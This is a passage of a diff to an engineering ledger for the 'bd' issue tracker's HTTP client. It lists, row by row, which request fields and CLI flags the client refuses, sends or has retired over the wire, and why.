client's: client wave ga-7i6by had already narrowed it to the bypass alone by sending the `assignee` the fence guards, and issues:batchApply's update item already carried the same flag. The body now sends it as a pointer set true only on request. The fence itself is unchanged — a transfer away from a live foreign in-progress owner refuses with already_claimed unless one of the two bypasses rides with it, this one or a matched `expected_assignee` — and the server refuses the bypass without a `patch.assignee` or beside `expected_assignee` or `claim` | D8 refuse-not-drop, D7 | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the in-repo divergence ledger, engdocs/design/http-divergence-ledger.md, for the discipline | +| W-UpdateRequest.ForceClosePolicy | retired | `UpdateRequest.ForceClosePolicy` `--force` | bypassing close policy on a status-crossing update used to refuse | RETIRED with W-UpdateRequest.ForceAssigneeTransfer, the other half of ga-2ltro.15's port. The wire publishes `force_close_policy` (upstream #5484), client wave ga-7i6by sends the `status` whose crossing the policy gates, and issues:batchApply's update item already carried the flag. The body now sends it as a pointer set true only on request; unforced, a status crossing into the done category with open children or a live blocker still refuses with not_closable, typed, and writes nothing | D8 refuse-not-drop, D7 | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the in-repo divergence ledger, engdocs/design/http-divergence-ledger.md, for the discipline | +| W-UpdateRequest.ForceNotesOverwrite | retired | `UpdateRequest.ForceNotesOverwrite` | bypassing the notes-overwrite fence on a single update used to refuse | RETIRED by the S3 reconciliation that found it (2026-10). It was discovered refused on the single-patch updateIssue path while the identical flag was already carried on issues:batchApply's update item (W table entry applyBatch/item/update) — the same trio member, wired on one shape and not the other with no decision on record for the gap. Flipping it was a port, not a decision, same as W-UpdateRequest.ExpectedVersion's: the body now sends `force_notes_overwrite` as a pointer set true only on request, so a Patch.Notes that would replace existing non-empty notes with different non-empty content is bypassable here exactly as it already was on the batch path | D8 refuse-not-drop, D7 | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the in-repo divergence ledger, engdocs/design/http-divergence-ledger.md, for the discipline | +| W-UpdateRequest.ExpectedVersion | retired | — | the compare-and-set row-version precondition used to refuse | RETIRED by the client wave that sends it (ga-jbuyf). The refusal was always the CLIENT's rather than the document's — upstream #5484 published `expected_version` and this client had not been taught to emit it — and the row said so in as many words: 'flipping it is a port, not a decision: send the member, retire this row, and turn the refusal pin into a round-trip pin'. That is what happened. The member is now sent as a POINTER, so absent stays absent: 0 is a legal token (the migration-0054 backfill left rows holding it) and encoding 'no guard' as 0 would have armed a guard on every unguarded update. The pin below asserts the round trip in both directions | D8 refuse-not-drop, D7 | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the in-repo divergence ledger, engdocs/design/http-divergence-ledger.md, for the discipline | +| W-UpdateRequest.ExpectedAssignee | retired | — | the compare-and-set assignee precondition used to refuse | RETIRED with W-UpdateRequest.ExpectedVersion (ga-jbuyf). Its own trap is the mirror image of that one's: the EMPTY assignee is a real guard — it is how a caller says 'only if nobody holds it' — so this member cannot be omitted when it is empty either. A pointer expresses both, and the pin drives the empty-string guard as its own case | D8 refuse-not-drop, D7 | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the in-repo divergence ledger, engdocs/design/http-divergence-ledger.md, for the discipline | +| W-UpdateRequest.ExpectedStatus | retired | — | the compare-and-set status precondition used to refuse | RETIRED with W-UpdateRequest.ExpectedVersion (ga-jbuyf). The status guard is the readable one — `Issue.status` is on every read of this surface, so a caller can guard a transition with no token at all — and it is sent as the workspace's own status vocabulary, verbatim | D8 refuse-not-drop, D7 | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the in-repo divergence ledger, engdocs/design/http-divergence-ledger.md, for the discipline | +| W-UpdateRequest.IssuePlaneOnly | refuse | `UpdateRequest.IssuePlaneOnly` | restricting an update to the issue plane refuses | updateIssue publishes no plane restriction and the server's role auto-resolves both planes, so dropping the flag would EDIT the wisp the caller asked to be told did not exist — the widening refuse-not-drop exists to stop. Not in the design's own enumeration: the page lists the UpdateRequest members it had reviewed, and this one was found while wiring the role | D8 refuse-not-drop, D7 | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the in-repo divergence ledger, engdocs/design/http-divergence-ledger.md, for the discipline | +| W-UpdateRequest.Provenance | refuse | `UpdateRequest.Provenance` | labeling an update's history entry refuses | updateIssue publishes no provenance member and the server writes its own label, so a dropped Provenance would leave the history entry naming the SERVER's surface while the caller believed it named theirs. It is refused rather than degraded because the field's whole purpose is the label, so dropping it drops the request | D8 refuse-not-drop, D7 | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the in-repo divergence ledger, engdocs/design/http-divergence-ledger.md, for the discipline | +| W-CloseRequest.ExpectedVersion | retired | — | the compare-and-set row-version precondition on a close used to refuse | RETIRED by the client wave that sends it (ga-jbuyf). CloseIssueRequest publishes expected_version (upstream #5506) and this client now emits it, so the guard reaches the server rather than refusing here — and the ordering the role promises, that the precondition is checked BEFORE the idempotent re-close, is the server's to keep and the served tier's to assert | D8 refuse-not-drop, D7 | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the in-repo divergence ledger, engdocs/design/http-divergence-ledger.md, for the discipline | +| W-ReopenRequest.ExpectedVersion | retired | — | the compare-and-set row-version precondition on a reopen used to refuse | RETIRED with W-CloseRequest.ExpectedVersion (ga-jbuyf). The design's enumeration named the close half only, and the reopen half is the same field on the same verb pair — it retires the same way | D8 refuse-not-drop, D7 | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the in-repo divergence ledger, engdocs/design/http-divergence-ledger.md, for the discipline | +| W-DeleteRequest.ExpectedVersion | retired | — | the compare-and-delete row-version precondition used to refuse | RETIRED with W-CloseRequest.ExpectedVersion (ga-jbuyf), and it is the one whose stakes made the refusal worth having: dropping this guard erases a row the caller had asked not to erase, with nothing left to compare afterwards. The multi-id refusal the wire attaches to it is deliberately NOT anticipated client-side: distinctness is measured after trimming and collapsing duplicates, which is the normalization this role sends its ids verbatim to avoid re-implementing | D8 refuse-not-drop, D7 | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the in-repo divergence ledger, engdocs/design/http-divergence-ledger.md, for the discipline | +| W-ReopenRequest.Provenance | refuse | `ReopenRequest.Provenance` | labeling a reopen's history entry refuses | reopenIssue publishes no provenance member and the server writes its own fixed label (`bd serve: reopen issue`); see W-UpdateRequest.Provenance | D8 refuse-not-drop, D7 | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the in-repo divergence ledger, engdocs/design/http-divergence-ledger.md, for the discipline | +| W-AddDependenciesRequest.SkipPerEdgeCycleCheck | refuse | `AddDependenciesRequest.SkipPerEdgeCycleCheck` `--no-cycle-check` | `bd dep add --no-cycle-check` refuses on the bulk --file path | the wire deliberately leaves SkipPerEdgeCycleCheck UNPUBLISHED and therefore false (internal/httpapi/dependency_edit.go). The single-edge spelling forwards false and only gates the post-hoc cycle warning, which the wire-backed CycleDetector serves, so it is served-with-note rather than refused | D7, D8 row 18, D9 L16 | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the in-repo divergence ledger, engdocs/design/http-divergence-ledger.md, for the discipline | +| W-IssuePatch.Status | retired | — | `bd update -s` used to refuse | RETIRED with client wave ga-7i6by. IssuePatchBody published `status` with upstream #5484 and this client's encoder now emits it; close and reopen still carry the lifecycle semantics a status write has nowhere to put — the reason and session under first-close-wins, the done-status normalization, the already-closed idempotence flag — and stay the operations to reach for. What this member serves is the status moved ALONGSIDE other fields in one transaction, which is the thing two calls cannot do | D8 refuse-not-drop | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the in-repo divergence ledger, engdocs/design/http-divergence-ledger.md, for the discipline | +| W-IssuePatch.Assignee | retired | — | assignment and unassignment through update used to refuse | RETIRED with W-IssuePatch.Status (ga-7i6by). The EMPTY STRING is the half that makes this member more than a rename: it UNASSIGNS, so a client that skipped an empty value would turn a real edit into no edit at all. The anti-steal fence around it is the server's and is unchanged — a transfer away from a live foreign in-progress owner still refuses with already_claimed, and the two bypasses (`force_assignee_transfer` and a matched `expected_assignee`) are both sent — the first since W-UpdateRequest.ForceAssigneeTransfer retired, the second since the guard wave | D8 refuse-not-drop | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the in-repo divergence ledger, engdocs/design/http-divergence-ledger.md, for the discipline | +| W-IssuePatch.Metadata | retired | — | a metadata patch used to refuse | RETIRED with W-IssuePatch.Status (ga-7i6by). IssuePatchBody publishes the same replace/merge/set/unset algebra MetadataPatch carries, member for member, so the client projects it rather than translating it and the ordering rule — merge, then set in key order, then unset, with replace refusing beside the other three — stays the ROLE's, applied by the same body a local workspace runs. The CLEAR is the one state the wire's own struct cannot spell (`omitempty` omits it), which is why the document is built as a map and an empty replacement travels as the empty document. The compare-and-set door is a different question and is served by its own accessor (issues.casMetadata, ga-7i6by's other half) | D8 refuse-not-drop | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the in-repo divergence ledger, engdocs/design/http-divergence-ledger.md, for the discipline | +| W-IssuePatch.SpecID | refuse | `IssuePatch.SpecID` | a spec-id edit refuses | neither IssuePatchBody nor ApplyPatchBody publishes spec_id (internal/httpapi/update.go issuePatchMembers) | D8 refuse-not-drop | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the in-repo divergence ledger, engdocs/design/http-divergence-ledger.md, for the discipline | +| W-IssuePatch.AwaitID | refuse | `IssuePatch.AwaitID` | an await-id edit refuses | neither IssuePatchBody nor ApplyPatchBody publishes await_id (internal/httpapi/update.go issuePatchMembers) | D8 refuse-not-drop | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the in-repo divergence ledger, engdocs/design/http-divergence-ledger.md, for the discipline | +| W-IssuePatch.Owner | refuse | `IssuePatch.Owner` | an owner edit refuses ON updateIssue | IssuePatchBody excludes owner — which the document itself calls an accident of order rather than a decision, since ApplyPatchBody DOES publish it and issues:batchApply's update item carries it (internal/httpapi/update.go issuePatchMembers) | D8 refuse-not-drop | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the in-repo divergence ledger, engdocs/design/http-divergence-ledger.md, for the discipline | +| W-IssuePatch.ClosedBySession | refuse | `IssuePatch.ClosedBySession` | a closed-by-session edit refuses | neither IssuePatchBody nor ApplyPatchBody publishes closed_by_session (internal/httpapi/update.go issuePatchMembers) | D8 refuse-not-drop | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the in-repo divergence ledger, engdocs/design/http-divergence-ledger.md, for the discipline | +| W-IssuePatch.Persistence | refuse | `IssuePatch.Persistence` | a persistence-mode edit refuses | neither body publishes persistence: moving a row between planes mid-plan is a different act from writing its fields (internal/httpapi/update.go issuePatchMembers) | D8 refuse-not-drop | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the in-repo divergence ledger, engdocs/design/http-divergence-ledger.md, for the discipline | +| W-IssuePatch.ParentID | retired | — | a parent re-hang through update used to refuse | RETIRED with W-IssuePatch.Status (ga-7i6by). It is ONE call rather than a remove-then-add pair, which is the whole reason the member exists: the two-call spelling leaves the issue parentless if the second call fails, and dependencies:add/remove — still the general write side of the graph over this wire — cannot express the atomic replacement. The empty string removes every parent-child edge, so it travels like `assignee`'s empty string rather than being skipped. The graph refusals it earns are the server's and arrive typed: a cycle through the issue's own descendant as the PLAIN dependency_cycle, and an existing edge of another type as dependency_exists | D8 refuse-not-drop | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the in-repo divergence ledger, engdocs/design/http-divergence-ledger.md, for the discipline | +| W-CreateBatchRequest.Provenance | refuse | `CreateBatchRequest.Provenance` | labeling a batch create's history entry refuses | batchCreateIssues publishes actor and items only, and the server writes its own label; see W-UpdateRequest.Provenance. It is the one Provenance whose ABSENCE is visible in shipped history — the surface this role serves has always named its source file in the entry (`bd: create 3 issue(s) from plan.md`) | D8 row 14 refuse-not-drop | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the in-repo divergence ledger, engdocs/design/http-divergence-ledger.md, for the discipline | +| W-CreateBatchRequest.ForceIDPrefix | refuse | `CreateBatchRequest.ForceIDPrefix` `--force` | permitting explicit ids outside the workspace's configured prefix refuses | the wire publishes no such member — and could not honor one, since it publishes no explicit id for the flag to permit (W-BatchCreateItem.Issue). Dropping it would answer a request about WHERE ids may be written with a batch whose ids the server chose | D8 row 14 refuse-not-drop | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the in-repo divergence ledger, engdocs/design/http-divergence-ledger.md, for the discipline | +| W-BatchCreateItem.Issue | refuse | `BatchCreateItem.Issue` | an item whose Issue populates any member outside the wire's eight refuses, naming the member | apigen.BatchCreateItem carries title, description, design, acceptance_criteria, priority, issue_type, assignee and labels and nothing else, while the role accepts far more of a types.Issue: an explicit id, the wisp flags, metadata, the storage class, every timestamp, the gate/molecule/event fields. ONE row rather than one per member because the reason is one reason — the wire's item vocabulary — and forty rows repeating it would say nothing a reader does not learn here. Exhaustiveness is held by REFLECTION instead: the client's carried and role-ignored tables are checked against types.Issue field by field, so a member added upstream is refused the day it lands rather than dropped until someone notices. The members the role ITSELF ignores on a create (ContentHash, RowVersion, lease, compaction, routing overrides, hydration flags) are not in this population and are not refused: a local create drops them too. Nor is a CreatedBy that names the request's actor: the server stamps every item's created_by from the actor (W-CreateRequest.Issue), so that value arrives as written and only a CreatedBy naming someone else refuses | D8 row 14 refuse-not-drop | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the in-repo divergence ledger, engdocs/design/http-divergence-ledger.md, for the discipline | +| W-CreateDependency.Reverse | refuse | `CreateDependency.Reverse` | an edge written from the target back to the new issue refuses ON A BATCH CREATE | BatchCreateDependency carries target_id and type only; dropping Reverse would write the edge in the OPPOSITE direction from the one asked for, which is a different graph. createIssue's CreateIssueDependency DOES publish it, and the single-create path sends it (internal/httpapi/spec BatchCreateDependency) | D8 row 14 refuse-not-drop | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the in-repo divergence ledger, engdocs/design/http-divergence-ledger.md, for the discipline | +| W-CreateDependency.Metadata | refuse | `CreateDependency.Metadata` | typed edge metadata refuses ON A BATCH CREATE | BatchCreateDependency publishes no metadata member, and a waits-for gate whose metadata was dropped is a readiness rule that silently does not hold. createIssue's edge publishes it, and the single-create path sends it verbatim (internal/httpapi/spec BatchCreateDependency) | D8 row 14 refuse-not-drop | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the in-repo divergence ledger, engdocs/design/http-divergence-ledger.md, for the discipline | +| W-CreateDependency.ThreadID | refuse | `CreateDependency.ThreadID` | associating an edge with a discussion thread refuses | neither BatchCreateDependency nor CreateIssueDependency publishes a thread member (internal/httpapi/spec BatchCreateDependency) | D8 row 14 refuse-not-drop | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the in-repo divergence ledger, engdocs/design/http-divergence-ledger.md, for the discipline | +| W-CreateRequest.IDPrefix | refuse | `CreateRequest.IDPrefix` | overriding the prefix an explicit, unforced id is checked against refuses | createIssue publishes no `id_prefix`, and the omission is the SERVER's decision rather than a gap (internal/httpapi/create.go): the field exists because a workspace's own config.yaml prefix wins over the database's and only a local front door can read that file, so a remote caller's config.yaml describes a workspace this server does not serve. Publishing it would let a caller override the served workspace's prefix rule from outside it. Dropping it instead would check the id against the SERVER's prefix while the caller believed it was checked against theirs — the same request, two different answers to 'may this workspace mint this id'. It refuses only where it would ACT: the role reads the override for nothing but an explicit id it was not told to force, so a create that mints its id, or sets ForceIDPrefix, is the same request with or without it and is sent without it. That matters because `bd create` sends the workspace's prefix on EVERY create, so an unconditional refusal would refuse every create in a workspace whose config.yaml names one | D8 row 16 refuse-not-drop | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the in-repo divergence ledger, engdocs/design/http-divergence-ledger.md, for the discipline | +| W-CreateRequest.Issue | refuse | `CreateRequest.Issue` | a create whose Issue populates any member outside the wire's twenty refuses, naming the member | createIssue publishes the whole create VOCABULARY — id, title, description, design, acceptance_criteria, notes, status, issue_type, priority, assignee, owner, estimated_minutes, external_ref, due_at, defer_until, sender, metadata, labels, ephemeral, no_history — and deliberately not the rest of a types.Issue: the creation time (created_at), because a caller-supplied creation time makes the row disagree with the journal entry that records it and re-dating history is what an import is for; and spec_id, await_*, mol_type, wisp_type, work_type, storage_class, source_*, pinned, is_template and the event quartet, which this surface publishes on no operation, read or write. ONE row rather than one per member for W-BatchCreateItem.Issue's reason — the reason is one reason — and exhaustiveness is held by the same REFLECTION over types.Issue, sharing the role-ignored table with the batch so the two operations cannot disagree about what the ROLE drops. Issue.Comments and Issue.Dependencies are not in this population: the role itself refuses them, so a local create fails too and this is validation rather than divergence. created_by is published on no create shape either, but every one of them STAMPS it from the request's actor (internal/httpapi's create.go, batch_create.go and batch_apply.go) — the local front doors' own rule, since the role copies the member rather than stamping it. So a CreatedBy that names the actor, which is what every CLI create sends, arrives as written, and only one naming someone else refuses: the stamp would silently replace it. A server that predates the stamp stores an empty created_by for that one member | D8 row 16 refuse-not-drop | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the in-repo divergence ledger, engdocs/design/http-divergence-ledger.md, for the discipline | +| W-CreateItem.Issue | refuse | `CreateItem.Issue` | a create ITEM whose Issue populates any member outside the wire's twenty refuses, naming the member | ApplyCreateItem publishes exactly createIssue's create vocabulary — id, title, description, design, acceptance_criteria, notes, status, issue_type, priority, assignee, owner, estimated_minutes, external_ref, due_at, defer_until, sender, metadata, labels, ephemeral, no_history — and deliberately not the rest of a types.Issue, for the reasons W-CreateRequest.Issue gives in full. It is a row of its OWN rather than a citation of that one because the operations are different: a caller auditing why their PLAN refuses must not be sent to a row about a single create, and the two can diverge the day either vocabulary moves. The partition itself is SHARED — one carried table, one role-ignored table, held against types.Issue by the same reflection — so they cannot disagree about what the wire carries or about what the role drops. Issue.Comments and Issue.Dependencies are not in this population and are refused as validation on both sides: edges in this role are ITEMS, so a create item has nowhere to put one at all. Nor is a CreatedBy that names the request's actor: the server stamps every create item's created_by from the actor (W-CreateRequest.Issue), so that value arrives as written and only a CreatedBy naming someone else refuses | D8 refuse-not-drop | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the in-repo divergence ledger, engdocs/design/http-divergence-ledger.md, for the discipline | +| W-ApplyPatch.ParentID | refuse | `IssuePatch.ParentID` | a parent re-hang inside an update ITEM refuses, where the same member serves on updateIssue | ApplyPatchBody deliberately publishes no parent_id, and the absence is this operation's ONE-EDGE-ONE-SPELLING rule rather than a gap: a parent is a dep_add item of type parent-child, so the ORDER of every edge in a plan stays total and there is exactly one place an edge is written. The single patch has no ordering to express and publishes the member directly (W-IssuePatch.ParentID, retired by client wave ga-7i6by), which is why the same Go field is carried by one document and refused by the other. Refusing is not a loss of capability, only of spelling: a plan re-hangs a parent with a dep_add item, which is the atomic replacement in the position the caller declared it | D8 refuse-not-drop | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the in-repo divergence ledger, engdocs/design/http-divergence-ledger.md, for the discipline | +| W-DepAddItem.HasSpawner | refuse | `DepAddItem.HasSpawner` | a waits-for edge ITEM that names its spawner refuses | ApplyDepAddItem publishes source, target, type and metadata and no spawner member, and the flag asks for a write only the ROLE can make: metadata's spawner_id, stamped from the resolved target once every id in the batch exists, because a target named by key has no id before then. Dropping the flag would store the edge's gate-only metadata, so an edge whose caller named a spawner would carry none. On every other edge type the role ignores the flag and stores the same row either way, so there it is dropped rather than refused. Upstream ask: a spawner member on ApplyDepAddItem, which retires this row | D8 refuse-not-drop | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the in-repo divergence ledger, engdocs/design/http-divergence-ledger.md, for the discipline | +| W-DepAddItem.ThreadID | refuse | `DepAddItem.ThreadID` | associating an edge ITEM with a discussion thread refuses | ApplyDepAddItem publishes no thread member, and no operation on this surface does: W-CreateDependency.ThreadID refuses the same column on both create edges. Dropping it would store the edge with no thread, so a replies-to edge would lose the conversation it was written for. It is a row of its own rather than a citation of that one for W-CreateItem.Issue's reason: the operation is different | D8 refuse-not-drop | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the in-repo divergence ledger, engdocs/design/http-divergence-ledger.md, for the discipline | +| W-IssuePatch.Labels | retired | `IssuePatch.Labels` | RETIRED — the whole ordered label edit crosses: `labels` replaces, `add_labels` adds, `remove_labels` removes | upstream #5510 published add_labels and remove_labels on IssuePatchBody and client wave ga-jpywb emits both, which is the retirement path this row named. The three travel as FLAT siblings where applyBatch nests them under one object, and the server assembles all three into ONE issueops.LabelPatch — so the algebra the role states (replace, then add, then remove; removal wins) is applied server-side and is never this client's to arrange. WHAT THE REFUSAL WAS PROTECTING is worth keeping after the refusal is gone: degrading an incremental edit onto the replace-only member would have meant reading the set, adding to it and writing it back, which silently drops any label another writer added in between. `bd label add` and every agent that tags work concurrently are exactly that caller, so the refusal was right for as long as the members did not exist — and it is the members that retire it, not a change of mind about the read-modify-write | D8 refuse-not-drop, open questions (tracked-refusal roadmap) | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the in-repo divergence ledger, engdocs/design/http-divergence-ledger.md, for the discipline | +| W-CloseBatchRequest.ClaimNext | refuse | `CloseBatchRequest.ClaimNext` | folding an atomic claim-after-close onto a batch close refuses | batchCloseIssues publishes actor, force, items and session only — no claim_next member exists for this client to encode a ReadyRequest into, and none exists on the response for a claimed issue to decode back out of. Dropping the field silently would answer a caller's claim-after-close with a close that quietly never claimed anything; see W-CreateBatchRequest.Provenance for the same refuse-not-drop reasoning applied to an absent wire member. Deferred: S13 schedules ReadyLister (and with it, the ready-side plumbing a composed claim would need); no slice currently schedules claim_next itself | D8 refuse-not-drop | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the in-repo divergence ledger, engdocs/design/http-divergence-ledger.md, for the discipline | +| W-SweepRequest.ProtectLiveDependents | refuse | `SweepRequest.ProtectLiveDependents` | protecting live structural dependents during a sweep refuses | sweepIssues publishes dry_run, tier, closed_before, pattern, protect_referenced and actor only; no protect_live_dependents member exists for this client to send, and the server has no stored-edge lookup to run on this client's behalf. `bd purge` from a local workspace still gets the protection; over http it must ask without it or not at all | D8 refuse-not-drop | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the in-repo divergence ledger, engdocs/design/http-divergence-ledger.md, for the discipline | +| W-SweepRequest.Limit | refuse | `SweepRequest.Limit` | bounding one sweep call and draining a backlog over several refuses | sweepIssues publishes no limit member and SweepResult publishes no remaining member for a bounded caller to loop on; a non-zero Limit refuses before the dial rather than running the unbounded sweep silently. issueops.SweepResult.Remaining is therefore always zero from this client — not a dropped count, since nothing bounded the call that would have left one | D8 refuse-not-drop | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the in-repo divergence ledger, engdocs/design/http-divergence-ledger.md, for the discipline | ## Command and flag refusals (D7) @@ -140,18 +147,18 @@ Whole commands, and the flag modes of served commands, that dispatch onto method | ID | Kind | Field / flag | Divergence | Why | Spec | Pinned test | |---|---|---|---|---|---|---| -| F-ready-explain | refuse | `--explain` | `bd ready --explain` refuses | it dispatches onto raw GetBlockedIssues/GetIssuesByIDs/GetDependencyCounts/DetectCycles, three of which are on the unsupported allowlist | D7 | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the S2 handoff notes for the full list of rows re-pinned here and engdocs/design/http-client-backend.md D9 for the discipline | -| F-ready-mol | refuse | `--mol` | `bd ready --mol` refuses | its molecule subgraph load reaches findHierarchicalChildren, an IDPrefix SearchIssues shape the parent-walk bridge cannot express (E-IssueFilter.noShape). GetDependencyRecords and GetDependentsWithMetadata, which the same load also calls, stopped being the blocker when ga-b8ddd.30 flipped them onto the wire | D7 | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the S2 handoff notes for the full list of rows re-pinned here and engdocs/design/http-client-backend.md D9 for the discipline | -| F-ready-gated | refuse | `--gated` | `bd ready --gated` refuses | it dispatches onto a filtered SearchIssues shape the bridge cannot express, plus GetDependents | D7 | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the S2 handoff notes for the full list of rows re-pinned here and engdocs/design/http-client-backend.md D9 for the discipline | -| F-show-thread | refuse | `--thread` | `bd show --thread` refuses | showMessageThread renders each reply's sender, recipient, body and timestamp off GetDependentsWithMetadata, but ga-b8ddd.30 flipped that read onto getIssue's include_dependents parameter, which carries the collectDependents SHALLOW projection (id/status/type/priority/title + edge type only, be-4d36f2). Those fields come back zeroed over http and zero-timestamp replies sort ahead of the root — a silent-wrong degrade the refuse-over-degrade doctrine forbids. Retires with a full-dependent wire shape, a server-side ask | D7 | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the S2 handoff notes for the full list of rows re-pinned here and engdocs/design/http-client-backend.md D9 for the discipline | -| F-show-refs | refuse | `--refs` | `bd show --refs` refuses | showIssueRefs's --json marshals the full GetDependentsWithMetadata rows, but the wire answers the same collectDependents shallow projection, so created_at/assignee/description come back zeroed and the JSON differs from a local workspace. The text render consumes only the shallow fields, but the flag cannot be split from its --json mode, so the whole flag refuses rather than serve a divergent JSON silently | D7 | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the S2 handoff notes for the full list of rows re-pinned here and engdocs/design/http-client-backend.md D9 for the discipline | -| F-show-children | refuse | `--children` | `bd show --children` refuses | showIssueChildren's --json marshals the full GetDependentsWithMetadata rows, the same collectDependents shallow projection as --refs, so created_at/assignee/description come back zeroed over http; `bd children` refuses as a whole command for the same reason | D7 | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the S2 handoff notes for the full list of rows re-pinned here and engdocs/design/http-client-backend.md D9 for the discipline | -| F-mol-ready | refuse | — | `bd mol ready` refuses | it is the same runMolReadyGatedCore body as `bd ready --gated` | D7 | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the S2 handoff notes for the full list of rows re-pinned here and engdocs/design/http-client-backend.md D9 for the discipline | -| F-blocked | refuse | — | `bd blocked` refuses | it is raw GetBlockedIssues, which is on the unsupported allowlist | D7 | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the S2 handoff notes for the full list of rows re-pinned here and engdocs/design/http-client-backend.md D9 for the discipline | -| F-count | retired | — | RETIRED — `bd count` is SERVED whole | it said the command refuses because "issueops.Counter has no wire operation; a counts operation is a filed upstream ask", and that ask was DELIVERED: upstream #5508 published countIssues, client wave ga-icks1 wired the Counter accessor, and `count` moved from httpRefusedCommands into httpServedCommands. D8 row 20 and docs/reference/http-workspaces.md have said so since; this row was the last place that did not. Every flag the command publishes reaches a wire member — the whole predicate, the six instant bounds, the three emptiness checks, --include-infra, and the five --by-* flags as the one group_by parameter — so there is no refused mode left to name either. HOW IT ROTTED IS THE PART WORTH KEEPING. Its pin was TestClassifiedRefusedCommandsRefuseBeforeTheOSSPreRun, which walks httpRefusedCommands and drives every entry. The moment `count` left that table the pin stopped covering this row — it stayed LIVE BY NAME, so the well-formedness gate that resolves PinnedBy to a real test kept passing, and DEAD BY COVERAGE, so nothing anywhere asserted the row's claim. A ledger row can be false for a whole wave under a green pin, which is what TestFRowsAgreeWithTheCommandClassification now makes impossible | D7 (RETIRED), D8 row 20 | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the S2 handoff notes for the full list of rows re-pinned here and engdocs/design/http-client-backend.md D9 for the discipline | -| F-serve | refuse | — | `bd serve` refuses against an http workspace | the OSS classifier would happily serve it from the opened store, and a bd serve re-serving a remote bd serve is a proxy chain nobody designed: run serve where the database is | D7 | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the S2 handoff notes for the full list of rows re-pinned here and engdocs/design/http-client-backend.md D9 for the discipline | -| F-close | refuse | — | `bd close` is SERVED whole — single id, several ids and --claim-next — over issues:batchClose; it refuses only against a DOWN-LEVEL server that does not advertise issues.batchClose | the CLI's close front door routes every id, single-id included, through BatchCloser.CloseBatch, and Lifecycle.Close has zero CLI callers at tip. The wire now carries issues:batchClose, so the whole CloseBatchRequest — multi-item and the atomic ClaimNext included — is one wire call and one server-side transaction; nothing is composed or refused where the capability is present. Against a server too old to advertise issues.batchClose, servesBatchClose() reads the handshake snapshot and routes around the batch dial entirely, so no Preflight runs and no wire.ErrCapabilityAbsent is raised: the down-level leg's refuseUnservedCloseShape raises the STORE's own *ErrHTTPUnsupported (batchcloser.go), and cmd/bd's renderEscapedHTTPRefusal turns it into the capability-absent taxonomy (case 2) by scanning the served command's own capability list for the first token the server does not advertise — issues.batchClose, which is the token it then names to upgrade to. The single-item, no-ClaimNext shape still composes onto closeIssue in that down-level leg (see L18); the shapes that cannot compose refuse there. The item cap is L-close-cap | D8 row 17 (resolved, Wire), D9 L18, D9 L-close-cap | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the S2 handoff notes for the full list of rows re-pinned here and engdocs/design/http-client-backend.md D9 for the discipline | -| F-partial-id | refuse | — | partial-id resolution refuses with its own taxonomy text | SearchIssueIDs has no wire operation, and the client cannot tell a partial id from a full id that does not exist — so the refusal text covers both outcomes rather than falling through to a raw search error | D11 | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the S2 handoff notes for the full list of rows re-pinned here and engdocs/design/http-client-backend.md D9 for the discipline | +| F-ready-explain | refuse | `--explain` | `bd ready --explain` refuses | it dispatches onto raw GetBlockedIssues/GetIssuesByIDs/GetDependencyCounts/DetectCycles, three of which are on the unsupported allowlist | D7 | TODO(S3): 